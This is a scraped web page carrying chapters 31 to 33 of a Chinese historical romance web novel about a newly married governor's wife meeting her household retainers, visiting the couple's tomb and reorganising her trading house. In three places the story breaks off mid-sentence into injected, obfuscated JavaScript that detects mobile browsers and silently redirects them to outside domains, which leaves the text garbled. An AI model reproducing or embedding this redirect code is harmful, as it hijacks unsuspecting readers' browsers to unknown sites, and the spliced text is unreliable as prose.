他成婚属段老将军最高兴。老将军忍不住豪饮,醉后号啕大哭,对天颠三倒四地嚷着“少主总算立业成家了”,后来误把柱子当成他爹老刘抱着不撒手,老将军一个劲地劝柱子喝酒。 众人担心他再喝下去老骨头撑不住,喊来他儿子,想把搬他回段家。 谁料段敖醉得不轻,也把柱子当成了老总督,在那又是摇摇晃晃地作揖,又是控诉老爹爱打他、骂他,他受不了了,对着朱漆柱子嗷嗷哭,非要“老总督”评评理。 还有个出了名惧内,但好面子从不肯承认惧内的人醉得迷了眼,把旁边的同僚认成爱妻。同僚也不纠错,顺势在那吆五喝六,要他倒酒夹菜之类的,那人言听计从,逗笑了不少人。 夏知霜也被逗笑了,然后回神时,发现自己竟然不知不觉倚到他怀中了。 她不安地动了动,他却拥紧了她。 按摩的力道渐渐变了,亦换了位置。 烛光朦胧,人影起伏,纱幔颤晃。 “不行,太亮了。”她慌慌张张。 “新婚夜龙凤烛不可熄。”他略感为难。 “……你想想办法嘛。” 刘宁撑起精壮的上身,平复微喘的气息,还真想到了办法。 他撕下一条衣带蒙住眼睛,给她检查过确认什么都看不到了,复又伏下身去。 濡湿的春情几乎随着龙凤烛燃了一宿。 31. 第 31 章 拂晓黎明时,宏伟雄壮的府邸已有仆役忙碌穿行。 按刘氏家规,成亲后的第一天,夏知霜和刘宁到祠堂祭拜,流程繁琐,花费个把时辰。 她酸软的腰杆久跪之下又僵又麻,从跪垫起身时,差点没起得来,幸而刘宁凭着广袖的遮掩扶她借力,险些就闹了笑话。 然则她今日腰肢那般不中用,有他大半的“功劳”。 夏知霜暗暗瞪他一眼,乌亮的水眸较之昔日多了丝妖娆的风情,真真是媚眼如丝,叫人爱到骨子里去。 刘宁面不改色,等出了祠堂,俯首轻啄她妩媚的娇容。 随侍的下人侧身低头,装聋作哑扮瞎。 夏知霜哪里经得住这下羞臊,半恼地捶他一记。 那点力气跟小猫挠抓似的,刘宁还是配合地捂住被敲打的地方,装疼讨饶缓解她的羞意。 夏知霜看出他的搞怪,气也不是,不气也不是,横他一眼便作罢。 小夫妻一道用过朝饭,而后各忙各的,一个去书房处理公务,一个行至前院的堂屋认人。 刘氏家臣共分四系,拢总两千多人,遍布大江南北。 天光还没大亮,四家掌事的人早早过府,只待听宣。 头一个被传唤的是杜家,等人来的缝隙,夏知霜接过丫头伺候的温茶,旁边是刘宁指来给她解释四家来历的人。 章氏道:“杜家效忠刘氏三代,统领暗卫一百四十人,内称影阁,每个暗卫都是天生的习武奇才,以一挑十不在话下,素日负责护卫主君与夫人的周全。” 故而暗卫又称影卫,人人各有所长,听过的、没听过的兵器都被他们玩出花儿来。 现任家主的杜川率领十二人上前跪拜:“属下见过夫人。” 他们都是影阁的骨干,夏知霜抬手唤起,他们旋即依次报上姓名,一言介绍自己的所长。 “诸位都是秀出班行的好手,我族幸得你们护佑。” 她使了个眼色,丫鬟鱼贯而入,端着赏赐的美酒分发下去。 这是族规之一,主上赐酒,家臣饮尽以示从此效忠。 能得主上赐酒之人寥寥无几,算作一种面上增光的恩典。 影阁几人感激痛饮,当即表示誓死效忠。 往下负责是文职的傅家。 章氏:“傅家同样效忠刘氏三代,全族二十七人皆为刘氏所用,有人文采斐然,有人左右开弓,有人模仿字迹以假乱真。” 傅家原不止这点人。 他们在总督署经手的文书数不胜数,最清楚不过四郡的根底,成了叛军的首要目标。 叛军头子惜才,多番威逼利诱,傅家宁死不从,放言“决计不为乱党所用”,这才仅剩那么点骨血。 傅家差点灭族,称得上是满门忠烈。 夏知霜深受触动,想起了越州的陶家,她赐酒时感慨万分。 礼毕,傅杭领四个族人退下,郭良携二子一女前来拜见。 郭家是声名在外的杏林之家,出过许多如雷贯耳的名医,如今当家的郭良在几次瘟疫中研究出了对症的药方,名满天下。 医道复杂,郭良带来的三人就有不同的专攻。 郭良介绍道:“犬子郭乐,专精小儿病症,犬子郭盈,专研疑难杂症,小女郭秀婉,专事妇人病。” 被点到名字的人恭敬行礼,她着重端详郭秀婉。 刘宁跟她提过,郭秀婉专为刘家女眷而培养,而今她进了府,郭秀婉会陪在她身边以便随时看诊,平时也会帮助她调理身子。 夏知霜赐酒,上去牵起郭秀婉:“我看姐姐面善,今后就跟了我吧。” 郭秀婉自知职责,夫人当众那么说是在给做脸面,哪里有不应的道理:“秀婉谨听吩咐。” 夏知霜笑着轻拍她的手,交代下人去收拾客院,勒令他们不许怠慢郭大夫。 郭家人退下去后,剩下的一家没有立马进来见礼,屋内的下人自觉退避。 章氏解惑:“世人虽传刘氏有四大家臣,确认实存的仅有三支,至于第四支到底有还是无,外人无从证实。” 第四支的路家专搞情报,干的是脏活和累活,不方便公开。 路家和杜家走的一个路数,除了自家族员,还往外扩增人数,将组织壮大发展,名为“千丝台”。 当年叛军把千丝台的核心成员策反一部分,杀害一部分,致使刘氏闭目塞听,全族几近覆灭。 现今的千丝台是重组的,路家人吸取前车之鉴,隐居幕后,部众跟着一起保密,不同人管辖的线人互不相识。 就连杜川和傅杭都只晓得路家确实存在,至于路家是谁在当家,底下的又是在管事,他们一概不知。 这世上,唯有刘宁和夏知霜有资格知晓“千丝台”的一切。 章氏之所以知道得那么清楚,权因她是千丝台的一员,在刘府当管事不过是为了掩人耳目,以及方便传递消息。 说罢,一小队戴面具的人进来跪拜,章氏自觉退出去。 行过大礼,为首那人摘下面具,部下纷纷效仿。 夏知霜讶然:“竟然是你。” “属下化名赵临,真名路葵,拜见夫人。”路葵恭恭敬敬道,“夫人还记得属下,属下荣幸万分。” “赵临”是丰瑛郡的富商,亦是陈记的友商,她在陈氏夫妇的葬礼上见过此人。 夏知霜轻叹:“真是想不到……” 想不到平平无奇的商户,竟是千丝台的首领。 路葵解释了原因。 路家嫡系和部分旁支命丧叛军之手,他属于最偏远的一脉,因能力出众才被提拔培养,他打小就被路家老族长安插在外,隐姓埋名。 老族长的先见之明救了他的命,也保住了千丝台的根基。 几个月前,正是千丝台的线人探到淇南和高淙想和刘宁联姻,刘宁和鲁元才策划出三次求娶的戏码。 民间那么快接受她这个总督夫人,少不了千丝台的线人混入其中推波助澜。 可以说她和刘宁能顺利完婚,千丝台是最大的功臣。 再往前推,陈氏夫妇亡故那阵子,她的好名声能那么快传播,亦是千丝台在背后出力。 夏知霜分外感激,亲自执壶,一面给自我介绍的人倒酒,一面记下每个人的信息。 千丝台上下受宠若惊。 她回到上首,给自己也倒上一杯,笑说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16548078|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各位都是无名的英雄,请受我敬酒一杯。” 千丝台众人忙道:“多承夫人谬赞。”同她虚空碰杯。 赐酒后,他们重戴面具,悄无声息离开,仿佛不曾来过。 吃过午膳,又面见了一波波府中的各个管事。 夏知霜有掌家的经验,又兼章氏得人心,章氏都对她服服帖帖,别的管事哪敢心口不一。 她摸透仆役们的职务后,犹嫌不足:“加派二十人,十人轮班,二人一组,隔半个时辰巡视府中各处,尤其注意夜间灯烛。” 被点出的二十人领命而去。 这是她在陈府管家总结出的经验,府邸越宽敞,夜里点的灯越多,就越容易失火,晚上一定要有人严加检查。 粗略见过人,又有新的事要忙。 刘宁早上就直接把府中的账册交给她,包括他的几个私库钥匙。 再怎么说,自家有什么东西都得过一遍耳目,才能做到心中有数。 夏知霜去往宝库,光是听人清点物件就听了好几日,惊觉刘家的家底实在是过于丰厚了。 陈家家底也不薄,体现在私产众多和库房里存放的一箱箱真金白银上。 刘家的家底不同,府邸随处可见的字画、古董和器物就价值不菲,被安置在宝库里的每一件都是好东西中的好东西,来历都不小。 譬如,离她最近的一面凤卧百花缠金屏风出自唐宫,曾是杨贵妃的爱物。 宝库内最小的雕花木盒里,装的东西亦不容小觑,里头是宋代名家所作的漆砂砚。 此砚点螺和雕刻的技艺完美融合,砚面的各色纹饰极为精美,而漆砂工艺在两百前的战乱中失传了,漆砂砚目今有价无市。 家族底蕴的区别就在这里。 一千两黄金摆在库房中,过个几百年还是一千两。 价值一千两黄金的古董字画莫说放上几百年,几十年后就能翻倍,物以稀为贵,愈久愈值钱。 刘家这种簪缨世族,不单单是作为投资而收集宝物,更多的是以欣赏价值去收藏。 府中的摆设是一季节一换,轮到凤卧百花缠金屏风做摆设时,坏了就坏了,那漆砂砚哪天兴起时,用了就用了。 反正还有别的来历更大的宝贝,府库的好东西也有进有出,可代替的物件应有尽有。 积淀几世的高门大户,才养出了玉树琼枝般的君子吧,投手举止风华卓然。 望着由远及近的儒雅俊男,她不禁如此感叹。 “霜霜!”刘宁见到她就眉目含笑,温声问,“可方便随我去个地方?” “好呀,这会儿没什么事。”夏知霜把账本交给彩玉。 彩玉将账本锁进盒子里存好,识趣的没跟去。 刘宁携她走出数步,想起什么,返身取她遗漏的披风替她披上,系了漂亮的蝴蝶结。 夏知霜记得成婚的头几天,他系结子的动作很生涩,现在他给她打蝴蝶结都打熟练了,心底不由得涌起了一股暖流。 夫妇俩笑容洋溢,手拉手上了马车。 她掀开帘子瞧了瞧,判断道:“咱们要出城吗?” 刘宁点点头,剥颗她爱吃的干桂圆喂过去。 32. 第 32 章 这一趟是个远门,还是个“邪门”的远门。 一处远离繁市的静僻宝地,壮观的建筑群拔地而起。 祭祀用的大殿,尚未刻字的巨大石碑,以及精美的石雕群,无不证明这是一座建造中的陵园。 工匠们已经提前回避,余下几个管事接待。 踏上地底通道时,夏知霜好奇张望,刘宁牢牢牵着她,不时提醒:“小心足下。” 墓道平坦,路面由石块镶嵌而成,光滑的墙体十步一个壁灯,灯架雕成镇邪的瑞兽形状,灯油散发奇异的香味。 每个拐角分岔出二至三个路口,蹊径曲折弯绕,暗室众多,走了许久都没到目的地,大得像迷宫。 领路人举着火把一言不发,从七拐八弯的近道走了约莫半个多时辰,终于从墓道转进甬道。 甬道尽头是宽敞的充作“厅堂”的前室,往前是放置了许多陪葬器物的中室,过了中室是一扇麒麟图的大门。 领路人停在后室的门前,推开门后,他侧身朝二人默然行礼。 刘宁挥手让其退下,向她解释:“建陵者多为聋哑人。” 夏知霜想问为什么,心中却隐约浮现了答案——聋哑人更能守住陵园的秘密。 她顿了顿,转而讶然道:“这是你的陵地?” 刘宁说:“是咱们的陵地。” 观东四郡名为启朝的领土,实则自治自理,与诸侯国无异。 自打他收复全部失地,工匠们就开始着手建造陵园了。 “你我百年之后,合葬于此地。”他含情脉脉地告诉她,仿佛在说什么浪漫得不得了的情话。 夏知霜囧囧的想,他们新婚才三日,现在就谈论身死的话题,真的合适么…… 她承认地宫很大,到处雕梁画栋,精致华美,甚至分不清究竟是有三层还是四层。 可是,话又说回来。 谁家新婚蜜月期是去游览墓地啊,这当真不会不吉利吗?! 刘宁听了她的顾虑后,笑言:“攸哀不冲新喜,正是此时才好带你来。” 红事之期不用避讳久远才至的白事,谈论未来的白事亦不会冲淡现在的喜气。 夏知霜不太懂那些神神叨叨的玄学规矩,对这方面有所研究的他都那么说了,那就当真不用避讳了。 既如此,她静心观赏将来长眠的地方。 刘宁拿出详细的地宫注释图,介绍哪些地方是正经的墓葬区,哪些地方是防盗墓贼的迷障区。 她看到地图上标注着离这里不远的地方,有她自己的坟地和石碑,再看看面前预设存放大棺椁的位置,忽然不好意思了。 帝后和诸侯夫妇的合葬方式分三种。 同茔异坟,夫妻共享一片风水宝地,各起坟丘。 同坟异穴,夫妻葬于一个坟丘,墓室相邻不相通。 同穴而葬,夫妻葬于同一个墓室,置身不同的棺椁。 刘宁的安排不一样,他们夫妇将来会同坟、同室、同棺。 如果不是爱极了,重视礼教的高门公子,不会下这个略显出格的决定。 夏知霜轻语:“要是被别人知道我不葬在自己的坟丘,而是与你同棺合葬,还不知道要怎样笑话你我。” “你不记得了么?”刘宁温柔浅笑,“我说过,他人言笑犹如过耳清风。” 只要不抹黑他的家族门楣,他不太在乎别人的言论。 再者,陵园的布局保密得相当好,他们同棺合葬的事不会流传出去。要是将来不慎被后世发现,可能只会褒奖他们夫妻恩爱,而不会传出稀奇古怪的流言。 夏知霜觉得挺有道理,即使不太明白他所认为的“生同衾,死同穴”就是至高浪漫的文人理念,她也接受了他的决定。 反正死后无知无觉,葬哪都一样。 夫妇俩就这么携手同游陵宫,兴致盎然。 出了地宫,分成三拨人的影卫已然出色的完成了工作。 一队人搭建宽敞舒适的幄帐,一队人打猎收获颇丰,一队人充当厨子,用自带食材和锅碗瓢盆煮好了一桌美食。 还别说,负责炊事的暗卫厨艺并不差,膳食色味味俱全。 夏知霜努力吃着刘宁布的菜,尽量忽略在自己墓地旁边吃饭的微妙心情…… 回程的马车上,她逛得有点累了,窝在他怀中小憩。 歇了两刻钟。 夏知霜悠然转醒,瞧了眼窗外的天色,估摸着太阳还挂在天上个把时辰,可以晚点回府。 她心血来潮,抬头问:“季安稍后可有闲暇?” 刘宁放下兵书:“霜霜有想游玩的地方?” “亦可算游玩的好去处,等会你就知道了,”夏知霜卖了个关子,对驾车的影卫说,“去西市。” 西市相比其它三市没那么繁华,胜在地广幽静。 陈记商行正是迁至西市。 夏知霜没有带他去往商行,而是拐进附近新起的一片楼阁。 “聚贤庄。”刘宁仰首扫视匾额,上面的字体再熟悉不过。 “你的书法既有气势又不缺美感,我叫人临摹打成匾字,挂起来很好看吧?”她得意负手,莞尔邀功。 起念招贤纳士时,她就画了建筑图纸,叫人买地改造成自己想要的样子,现今改建得差不多了。 刘宁静视她明媚的笑颜,一语双关:“嗯,好看。” 夏知霜摸着下巴左张右望,有点不满意:“可惜我腹中没有几两墨水,取的名字过于简单直白了。” 刘宁掀起羽扇般的眼睫,煞有其事地咂摸片刻:“此名通俗易懂,贴合用意,我觉得起得甚妙。” “当真?” “当真。” 夏知霜又高兴起来,迫不及待地拉他进去参观。 聚贤庄整体巍峨大气,入门后的左右两边是一排二层木楼,预计是办公的地方,再往前是二进院落,会议室、待客室什么的都在这个地方,最后一进院落的左边小楼充作资料室,右边用作藏书阁。 聚贤庄的隔壁还连着一片房舍,取名“广秀楼”。 广秀楼是个七进院落,每间屋子采光好、通风强还很宽敞,中间是种有奇花异草的大花园,园里挖了美丽的人工湖,湖中碧荷苍翠,岸边植有杨柳。 要清幽有清幽,要意境有意境。 夏知霜的设想里,聚贤阁作办公用,广秀楼作寝舍用。 刘宁粗略悠览过一遍,先是就她的想法给予肯定,夸她想思虑得周到,再对她说:“依我浅见,聚贤庄维持现状即可,广秀楼还需扩一扩。” 夏知霜不解地歪头,考虑到贤才会带家属入住,广秀楼已经扩建过了。 她虚心求教:“里兴县再没有比广秀楼更大的宅子,应当是够住的,为何还需扩建?” 刘宁正欲解释,远远见傅杭赶来。 夫妇俩人无奈对视,知道悠闲的时光要结束了。 他本有五日婚假,可是每天都有人捧着急事找寻,府中的书房时时有客,今儿外出了还是躲不掉。 傅杭对二人行过全礼,朝他道:“主君,军师接到密报,请您回去议事。” “可知何事?” “未知。” 夏知霜化身解语花,体贴地说:“夫君且先回,我还要顺道去商行瞧一瞧。” 刘宁颔首:“我回去叫他们备上八宝鸭、绣球干贝和莲蓬豆腐,晚些时候再一起用膳。” 这几个菜是她在车上说想要吃的,他记得丝毫不差。 “好。”夏知霜高兴应下。 刘宁留下一半护卫便离去了。 陈记商行是一比一搬迁,跟在青阳时差别不大,至多算换了个地方办公。 彩玉和丁卯正在谈要事,她到得正巧。 夏知霜很是诧异:“你是说海上通航了?消息可准确?” 丁卯信誓旦旦:“千真万确。” 不怪乎她那么惊讶。 陈记的商路分陆路和水路,观东的丰瑛郡临海,陈记原先有海上通行的航队,把货物直接运到启朝的另一面海岸线,进而运到内地各处去,会节省很多路程和时间。 十年前,另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552624|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一侧沿海的几个郡也反了,战乱不停,陈记的几条海运专线就此断绝,双方从此货物不流通。 目今,那边自称“睢国”的三个郡逐步稳定下来,急于恢复经济,同意陈记的航队靠岸。 睢国的地理位置很关键,观东右邻是高淙,高淙过去是中熙,睢国一边和中熙为邻,一边跟启朝的疆土相连。 夏知霜觉得,她猜到了刘宁被叫回去的原因了。 第一,睢国安稳扎根会影响周边的局势,邻国不可能不堤防,高淙和中熙岂能不担心睢国坐收渔翁之利,这俩国可能打不起来了。 高淙和中熙打消耗战对观东最有利,现在他们可能面临握手言和的局面,观东不得不想出对策堤防。 第二,倘若商队能登上睢国的土地,只要想点办法,和隔壁启朝联系上不是难事。 问题就出在这里。 观东跟启朝断联二十余年了,刘氏口口声声称自己为启臣,可是雄踞一方那么久,朝廷会不忌惮么? 老总督在启朝出仕,可能确实对朝廷忠心耿耿,下一代的刘宁等人却从未沐浴过启朝的恩德,要说刘宁没有称霸的野心,可能他得剖心明志才会洗清嫌疑。 是要通过航队去联系朝廷表忠心,还是趁朝廷没找上来之前竖旗称王,刘宁需要快速决断。 彩玉和丁卯见她沉思未语,不解地对视一眼,不知道她在纠结什么,早点通航早点赚钱不是? 丁卯大着胆子发言:“东家,通不通航还需您下令。” 夏知霜醒神:“此事牵连甚广,不可急在一时,先让航队整装待发,随时听我调令。” 她和刘宁利益一体,总督署那边出了决断,她这边再见机行事。总不能在刘宁还没决定要不要称王的时候,航队就带上朝廷的旨意回来令他为难。 彩玉和丁卯对她的决断不明所以,她也没多解释,眼看日头差不多了就如约回府。 不过,当夜刘宁没有回来陪她用膳,更没有回房休息。 幕僚们寅时才离开书房,他担心回房闹出动静会吵醒她,顺势歇在书房的榻上。 夏知霜原以为只这一夜,孰知他从那天起就住在书房了。 她担心不已。 他是个觉很少的人,她有时会梦到在陈家的日子,卯正时分恍惚醒来,下意识要去厨房给老妖婆准备朝食。 刘宁即刻放下书,心疼地拥紧她,哄她噩梦都过去了,她才知道天快亮了他居然都还没睡。 谁能想到,他一个快把夜熬穿的人,依然雷打不动的在卯时四刻起床办公。 在舒适的卧房中尚且少眠,可想而知,他在书房里铁定睡不了多久。 这夜。 夏知霜专门等幕僚都离开了,端上参汤到书房,苦口婆心地劝他回去睡。 她不介意被他吵醒,他回来睡的话,起码她不用担心他会着凉什么的。 刘宁权且先答应下来,旋即执起她的手背浅啄,伏在她耳边意味深长地说:“今晚有事,明晚再陪你……好吗?” 夏知霜的脸蛋瞬间彤红,魅人的水眸瞪他:“胡诌什么呢,我又不是那个意思!” 好吧,要说完全没那个意思那也不可能,食色性也,不分男女。 但更多还是为他的身体着想。 “我主要是担心你在这里睡不好,硬榻哪有软床舒适,夜里也凉,你本就忙,万一得了风寒怎么办?” 她眼波潋滟,妩媚娇嗔。 “反正你不回去的话,我也卧在这里,看着你睡下才行。” 刘宁说那些话本想把她羞走,现在羞不走她,她娇羞的模样又实在动人,不禁喉结滑动。 新婚燕尔时,岂能辜负良辰与佳人。 他果断撂开书,打横抱起美人,夏知霜娇呼一声,本能的紧紧搂住他脖子。 “有夫人暖榻,想是睡得再好不过了。”他往小榻走去,蓦地低下头去。 窗上映出的两个烛影合到一处,守门的下人识趣退开一段距离。 月明风清,虫鸣螽跃,呢喃情话响了大半宿。 33. 第 33 章 这天起,刘宁听话的每天回卧房休息。 婚假结束,他恢复白天到总督署衙门办事的日常,随着时局的变换,他愈发忙碌起来。 夏知霜不时跟他交换情报,发觉她猜得一点不差,鲁元为代表的一众幕僚,火急火燎的跟他探讨两个命题。 其一,如何应对边境的潜在危机,倘高淙和中熙联手攻来,观东该如何应对。 其二,是该趁机称王,还是安分做启臣。 每一样都是关乎观东四郡安危的大事,半点马虎不得。 刘宁从最开始的早出晚归,演变成了要到外地出差。 他和鲁元要去石答郡的彤州一趟,估计为期十日。 说起来,观东的四郡各有特点,丰瑛郡玉料丰富,启朝一半的美玉产自丰瑛各州,是个不折不扣的钱袋子。 台开郡被奔腾的观江贯穿,平原众多,土壤肥沃,视为四郡的粮仓,不仅实现自给自足,每年还能匀出来一些周济友邦淇南。 墨同郡有着观淇第一塾的贡阳书院,赫赫有名的才子张明博就出自该院,好些文官也曾是贡阳学子,堪称人才储备基地。 石答郡则是储有大量的金属矿,拥有当代最先进的冶炼技术,观东七成的兵器来源于此。 刘宁和鲁元今番走往石答,除了既定公务,还存着考察兵刃械甲的目的。 临别时,刘宁有愧于新婚就分离,不放心地嘱咐:“傅杭留予你差遣,遇事不决可同他商议,若逢急事你就传讯于我,墨同与石答快马来回不过五日,我收到消息会尽早赶回。” “我省得了,”夏知霜依依惜别,“事总是忙不完的,你在外务必吃好歇好,莫累垮了身子。” “放心,我自多加注意。” 夫妇俩恋恋不舍,交握着手说些有的没的。 杜川整合人马有一柱香了,看看顶空的天色,实在不敢催主君。 鲁元捋着胡须,仿若入定一般。 倒是旁边的幕僚之一嘀咕了句:“主君和夫人恩爱和睦,可为天下夫妻典范啊。” 别的幕僚连连点头称是,可不么,不恩爱能轱辘话说一车吗? 记得主君离队前的原说是“待我与贤妻话别两句”,谁知那小手拉上了就没撒开过,两句变二十句,照这样看,变二百句也未可知。 小夫妻的谈话到底没说到二百句,日上三竿时,乌衣甲乔装的队伍秘密出城了。 夏知霜没闲着,派傅杭去安排张榜之事,又照刘宁之前的建议,再次扩建广秀楼。 她和刘宁事先商量过了,先把招贤纳士的公告贴出去,表明官府求贤若渴,旦有一技过人之长,肯为官家仕事者,不拘出身和过往,其与家眷吃住全包。 刘宁下过预判,告示初贴时,会有浑水摸鱼的人贴上门来想占便宜,而真正的贤才会观望一阵,没那么快上钩。 夏知霜便安排两个人,专门在衙门门口登记报名人的信息。 不出刘宁所料,到衙门来报名的人络绎不绝,报名的理由却让人啼笑皆非。 有的人说,他特别会钓鱼,每每出门必不空钩。 瞧瞧,运气多好啊,技术多高超啊,这怎能不算是一种天生的才能呢? 有的人说,她特别会养花,培育出了不少新品种。 问她培育出的新品种在哪,她捧来几盆看不出区别的枯枝,说是植株在休眠,来年春化后开花就能辨别了。 还有个老伯说,他很会种地。 六十年来,每逢灾害之年,别家颗粒无收,他家只是减产三分之一到一半,奇迹般的稳住一家几口的口粮。 夏知霜翻看上百页的自荐书,被各种古怪奇葩的理由雷到了,比如说有人报名说自己很能吃什么的…… 她也很能吃好嘛! 要是能吃有用,她早就给自己也填一张报名表了。 问题是能吃木有用啊木有用,有用的人怎么迟迟不来呢……夏知霜郁闷极了。 看来看去,最靠谱的报名者,竟是养花的妇人和种地的老伯。 也罢。 真培育出名花的新品种,有的是富人愿意掏钱,可以促进经济。种地经验传播出去果真能提高各家粮食产量的话,大大有利于民生。 她找来傅杭,交代他差人去查那二人所言是否属实,多收集些证言回来。 傅杭领命去办。 聚贤庄的事先告一段落,夏知霜去了一趟陈记商行。 她和刘宁推敲过了,航队不能拖延太久。 人家睢国都开放港口了,你观东的航队久久不至,必定是有猫腻啊,大启朝廷焉能不猜忌? 所以陈记的航队还得出发。 何时出发,多大规模的船队,滞留睢国多久,这都是有讲究的。 夏知霜的主意是,晚两天出发,用的是最小规模的航队。 间隔十年再次通航,陈记担忧睢国还不能保持安稳,故意派最小的航队打头阵试水,合情合理,任谁也挑不出错处。 到睢国之后,陈记的人卸完货物,再装上那边的特色货物填舱,航队就马上返程,能尽快回来就绝不多留。 如此一来,一定程度上避免了过早跟启朝密探的深入接触,留给观东更多的喘息时间。 知道内情的,刘宁和鲁元对她的主意持赞成态度。 不知内情的,彩玉和丁卯没有异议,收到命令后依计行事。 倒是底下的个别掌柜持反对意见。 好不容易等来一次通航的机会,更应该派出所有能用的船只和人手,把能运的货物装出去,再最大程度换那边的特色货品回来倒卖才是。 乱世之中,谁知道下次还能不能通航被,抓紧机遇赚大钱才是正理。 这个声音一出,很快得到了其他掌柜的支持。 水路是最赚钱的贸易方式,有钱不赚不是傻子是什么? 于是不少人都质疑上头的决策。 最后传来传去,传成了“上头昏庸,陈记将亡”的谣言,引得其他不明真相的管事人人自危。 “此事是冲我来的。”彩玉笃定道。 说来说去,还是底下的人不满她一个出身卑贱的女子,骑在他们头顶吆五喝六。 尽管他们心知肚明,真正做决定的人是夏知霜,而非明面上最大的管事彩玉,他们还是把“昏庸”的罪责都推到彩玉身上。 所谓法不责众,他们想利用流言逼迫夏知霜换掉彩玉,这是个阳谋,如果夏知霜要稳定人心,最方便快捷的办法是推彩玉出去背锅。 从前地位不稳的夏知霜可能会吃这一套,目下根基牢靠的她却对这一套厌烦至极。 她之前在陈家吃尽苦头,受了太多的压迫,如今她最不愿被人威胁逼迫。 “你别担心,我自有办法,”夏知霜眼眸半眯,冷笑,“本来不想那么快动手,是他们自己送上门来,那就休怪我不讲情面了。” 茶杯重扣桌面,发出“哆”的一声轻响,昭示着她心中的不快。 彩玉余光观察她的神情,直觉她处事的风格变了,从圆滑变成了凌厉。 好似终得出鞘的宝剑,怎么也藏不住锋锐之芒。 几日后,一次商行的例行会议。 谈完正事,有小掌柜出言:“近来有不利商行的消息广泛流传,想必各位有所耳闻。” 丁卯眼珠转了转,若有似无地看向彩玉。 彩玉沉下脸:“我们商行照常盈利,甚少有店铺亏损,尤其商行搬迁到里兴以来盈余更甚,少许流言不过是危言耸听。” 一个王姓很有人望的掌柜似笑非笑:“总管此言差矣,无风不起浪,苍蝇也不叮无缝的蛋,流言能兴起,也是因其有个不得体的根源。” 彩玉斜睨:“哦?是个怎样不得体的根源,我洗耳恭听。” 王掌柜没有明说,嘴角挂着讥笑。 跟他一个阵营的人亦笑而不语,他们才不会蠢到当众质疑东家的决策,真的说出逆反之言授人话柄。 三人成虎,他们压根不需要多说,只需摆出听信流言的姿态,就能达到施压的效果。 莱州的陈掌柜发表意见:“咱们这一行最忌讳风水,既然人人都传咱们商行……咳咳,依我之见,就算是风言风语,咱们也不得不想办法应对。” 陈掌柜是陈记的老人,在众管事中德高望重,他这话一出,不仅王掌柜之流附声应和,还带动其他中立的掌柜也认同了这个观点。 阑州的孟掌柜忽然提议:“宁可信其有不可信其无,既然‘陈记’这个招牌岌岌可危,何不换一个呢?” 王掌柜等人愣住了。 他们煽动这个流言是想挤走彩玉,把丁卯奉为总管,然后他们再想办法上任大掌柜之位,下一步再设计挤走丁卯,享享一人之下万人之上的福,可不是打着换招牌的主意。 丁卯不给他们反应的机会,当即拍板:“孟掌柜言之有理,为了商行的长远发展,此事当报到东家去,交于东家决断,”他转向彩玉,“大总管以为如何?” 彩玉看出东家玩的哪一出了,自是相当配合:“就这么办,只要咱们商行能长长久久,叫‘陈记’还是‘夏记’都无伤大雅。” 王掌柜脸色大变:“我反对,陈记历经三代,是上百年的老招牌,涉及玉行、客栈、米行等产业,岂能随意更换!” 孟掌柜淡淡地问:“支持‘陈记将亡’流言的是你,反对更改招牌的也是你,那依你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她成长得太快了,彩玉心情变得复杂,有种自己慧眼识珠的骄傲,也有种将来有一天会不被她需要的失落。 夏知霜问了她问题,没听见回答,奇怪地复问:“你想什么呢?快看看,我取的这几个名字怎么样?” 彩玉回神,勾头看她写的几个字,非常惊讶:“你舍了‘夏记’的新招牌?” 夏知霜道:“当下商行还不是随我姓的好时机,况且,我也不介意是否随我姓。” 看看如今的陈记,徒有虚名,还不是落到外姓人手中了,只要权利握在手中,商行叫什么都无所谓。 彩玉转念也想通了,和她商量哪个名字比较好。 两日后,夏知霜下达了更换招牌的命令。 玉行的招牌更名为“瑜记”,米铺的招牌改为“惠生”,客栈该叫“悦旅”,售卖航队运回来的别地特产的店统一叫“星棋杂货铺”。 由于玉行的生意是大头,商行还是以瑜记为名。 一个招牌分成多个招牌的原因很简单。 她决定吸取前人的智慧,若有其中一行暴雷,起码有机会能保住别的招牌,虽不能免于连坐,至少不会像同一个招牌那样被牵连得损失惨重。 之前陈记被金记做局的时候,信誉危机下,所有产业都受到了影响,濒临倒灶,她不希望再发生那种事。 随着招牌变动,职位也被分化。 瑜记饰品、惠生米铺、悦旅客栈和星棋杂货铺各设一个“领事”的职位,领事在各个分店的掌柜之上,在丁卯的大掌柜之下。 日后各行的要事,由自家领事汇报给丁大掌柜,大掌柜再上报给总管彩玉,层级分明,管理起来较之前方便许多。 重要的是,各行之间壁垒分明,哪行出事,上头的人只要提溜该行的领事问话即可,杜绝了像王掌柜那样跨行拉帮结派逼宫的事。 这个改革一出,孟掌柜和陈掌柜等人升任领事,底下的人也升上来填补他们的空缺,算是皆大欢喜。 当然,继续头铁反对的人不是没有,被彩玉和丁卯无情地清理出去了。 孟掌柜冷眼看被灰溜溜提走的王掌柜,教育身边踮脚看热闹的伙计。 